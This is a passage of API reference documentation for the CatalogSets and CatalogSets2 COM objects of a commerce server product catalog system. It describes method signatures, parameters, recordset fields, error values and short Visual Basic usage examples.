[Visual Basic] If this method completes successfully, it returns a Variant that contains the catalog set ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Variant returned by this method contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

strCatalogSetID = myCatalogSets.GetCatalogSetIDForUser(oProfileService, user_id, defaultCatalogSetID)

See Also

[C++] CatalogSets Object

[C++] ProfileService Object

[Visual Basic] CatalogSets Object

[Visual Basic] ProfileService Object


_CatalogSets::GetCatalogSetInfo Method [C++]

CatalogSets.GetCatalogSetInfo Method [Visual Basic]

Use this method to return the basic properties for a catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSetInfo(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSetInfo(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID, a GUID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID, a GUID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set rsMyCatalogSetInfo = myCatalogSets.GetCatalogSetInfo(strCatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogSets Method [C++]

CatalogSets.GetCatalogSets Method [Visual Basic]

Use this method to return a list of all catalog sets.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSets(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSets() As Recordset

Parameters

retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalog sets.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogSets = myCatalogSets.GetCatalogSets()

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsForUser Method [C++]

CatalogSets.GetCatalogsForUser Method [Visual Basic]

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Recordset

Parameters

objProfileService [C++]
[in] A pointer to the IDispatch interface to the profile service.
objProfileService [Visual Basic]
A profile service object.
user_id [C++]
[in] A BSTR that contains the user ID.
user_id [Visual Basic]
A String that contains the user ID.
defaultCatalogSetID [C++]
[in] A BSTR that contains the default catalog set ID.
defaultCatalogSetID [Visual Basic]
A String that contains the default catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set objProfileService = Server.CreateObject("Commerce.ProfileService")
Call objProfileService.Initialize(sProfileServiceConnectionString, _
   "Profile Definitions")
set rsCatalogSet = myCatalogSets.GetCatalogsForUser(objProfileService, _
   user_id, defaultCatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsInCatalogSet Method [C++]

CatalogSets.GetCatalogsInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsCatalogNames = myCatalogSets.GetCatalogsInCatalogSet(CatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsNotInCatalogSet Method [C++]

CatalogSets.GetCatalogsNotInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsNotInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID of a catalog set
set rsCatalogs = myCatalogSets.GetCatalogsNotInCatalogSet(strCatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::Initialize Method [C++]

CatalogSets.Initialize [Visual Basic]

Use this method to initialize a new CatalogSet object.

Definition

[C++]
HRESULT _CatalogSets::Initialize(
  BSTR CatalogConnectionString,
  BSTR TransactionConfigConnectionString
);
[Visual Basic]
Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)

Parameters

CatalogConnectionString [C++]
[in] A BSTR that contains the catalog connection string.
CatalogConnectionString [Visual Basic]
A String that contains the catalog connection string.
TransactionConfigConnectionString [C++]
[in] A BSTR that contains the transaction configuration connection string. Not used
TransactionConfigConnectionString [Visual Basic]
A String that contains the transaction configuration connection string. Not used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.
[Visual Basic]

Example

myCatalogSets.Initialize strCatalogConnection, ""

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::RemoveCatalogFromCatalogSets [C++]

CatalogSets.RemoveCatalogFromCatalogSets [Visual Basic]

Use this method to remove a catalog from all catalog sets.

Definition

[C++]
HRESULT _CatalogSets::RemoveCatalogFromCatalogSets(
  BSTR CatalogName
);
[Visual Basic]
Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)

Parameters

CatalogName [C++]
[in] A BSTR that contains the catalog name to be removed.
CatalogName [Visual Basic]
A String that contains the catalog name to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

MyCatalogManager.DeleteCatalog "Shoes"
myCatalogSets.RemoveCatalogFromCatalogSets "Shoes"

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::UpdateCatalogSet [C++]

CatalogSets.UpdateCatalogSet [Visual Basic]

Use this method to update an existing catalog set and its basic properties.

Definition

[C++]
HRESULT _CatalogSets::UpdateCatalogSet(
  BSTR CatalogSetID,
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS
);
[Visual Basic]
Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As Recordset
)

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID (GUID).
CatalogSetID [Visual Basic]
A String that contains the catalog set ID (GUID).
CatalogSetName [C++]
[in] A BSTR that contains the catalog set name. The maximum length is 128 characters.
CatalogSetName [Visual Basic]
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription [C++]
[in] A BSTR that contains the catalog set description.
CatalogSetDescription [Visual Basic]
A String that contains the catalog set description.
bWildCard [C++]
[in] A VARIANT_BOOL that indicates which catalogs to use. A value of TRUE indicates use all catalogs. A value of FALSE indicates use the catalogs contained in the CatalogNameRS parameter.
bWildCard [Visual Basic]
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS [C++]
[in, optional] A reference to a _Recordset object that contains the catalog names.
CatalogNamesRS [Visual Basic]
A Recordset object that contains the catalog names.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.

myCatalogSets.UpdateCatalogSet strCatalogSetID, "Clothing", _
   "All soft goods", FALSE, rsCatalogNames

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


CatalogSets2 Object [C++]

CatalogSets2 Object [Visual Basic]

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

[C++]
ProgID: | Commerce.Catalogsets2 (Externally creatable)
COM Class Name: | Catalogsets2
COM Interface Name: | _Catalogsets2
Interface ID Constant: | None
Header File: | None
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[Visual Basic]
ProgID: | Commerce.CatalogSets2 (Externally creatable)
COM Class Name: | CatalogSets2
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[C++]

In C++, use the _CatalogSets2 interface to access the properties and methods of the CatalogSets2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

The CatalogSets2 object properties are useful if you have changed the ProfileSchema (from the default shipped version) or if you use Active Directory. In these cases, the UserObject-OrganizationObject table join-key is different than the default one.

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Properties

[C++]
Property | Type | Description
OrganizationObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | BSTR | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | BSTR | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | BSTR | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | BSTR | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | BSTR | Stores the join key for the user object. This property is read/write.
UserObjectName | BSTR | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | BSTR | Stores the organization key for the user object. This property is read/write.
[Visual Basic]
Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | String | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the User object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.

Remarks

This object is similar to the CatalogSets object. It has the same methods, but adds new properties for the profile schema keys. The default values of the properties are the same as the fixed values used by the CatalogSets object.


_Catalogsets2 Methods [C++]

Catalogsets2 Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_Catalogsets2::CreateCatalogSet Method [C++]

Catalogsets2.CreateCatalogSet Method [Visual Basic]

Use this method to create a new catalog set in the catalog database.

Definition

[C++]
HRESULT _Catalogsets2::CreateCatalogSet(
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS,
  BSTR* CatalogSetID
);
[Visual Basic]
Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String

Parameters

[C++]
CatalogSetName
[in] A BSTR that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
[in] A BSTR that contains a description of the new catalog set.
bWildCard
[in] A VARIANT_BOOL that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
[in, optional] A pointer to an ADO _Recordset object that specifies the catalogs to be included in the new catalog set. The _Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogSetID
[out, retval] A pointer to a BSTR used to return the automatically generated ID (GUID) of the new catalog set.
[Visual Basic]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
A reference to an ADO Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The CatalogSetID parameter contains valid data only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The returned String contains a valid ID only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the Product Catalog System.
strCatalogSetID = myCatalogsets2.CreateCatalogSet("PremiumCatalogs", "Premium catalog set", TRUE)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
set rsCatalogNames = CreateObject("ADODB Recordset")
call rsCatalogNames.Fields.Append("CatalogName", adBSTR)
rsCatalogNames.Open
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog1"
rsCatalogNames.Update
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog2"
rsCatalogNames.Update

strCatalogSetID = myCatalogsets2.CreateCatalogSet("CombinedCatalog", "A one and a two", FALSE, rsCatalogNames)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::DeleteCatalogSet Method [C++]

Catalogsets2.DeleteCatalogSet Method [Visual Basic]

Use this method to delete an existing catalog set from the Catalog database.

Definition

[C++]
HRESULT _Catalogsets2::DeleteCatalogSet(
  BSTR CatalogSetID
);
[Visual Basic]
Sub DeleteCatalogSet(
  CatalogSetID As String
)

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the GUID of the catalog set to be deleted.
[Visual Basic]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID prevents access to the Solution Sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID prevents access to the Solution Sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID1 is a GUID
myCatalogsets2.DeleteCatalogSet strCatalogSetID1

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogs Method [C++]

Catalogsets2.GetCatalogs Method [Visual Basic]

Use this method to return a list of all catalogs.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogs(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogs() As Recordset

Parameters

[C++]
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalogs

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogs = myCatalogsets2.GetCatalogs()

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogSetIDForUser Method [C++]

Catalogsets2.GetCatalogSetIDForUser Method [Visual Basic]

Use this method to return the catalog set ID for a specific user.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSetIDForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  VARIANT* retVal
);
[Visual Basic]
Function GetCatalogSetIDForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Variant

Parameters

[C++]
objProfileService
[in] A pointer to the IDispatch interface to the ProfileService object.
user_id
[in] A BSTR that contains the user ID.
defaultCatalogSetID
[in] A BSTR that contains the default catalog set ID.
retVal
[out, retval] A pointer to a VARIANT used to return the catalog set ID.
[Visual Basic]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the catalog set ID.

Error Values

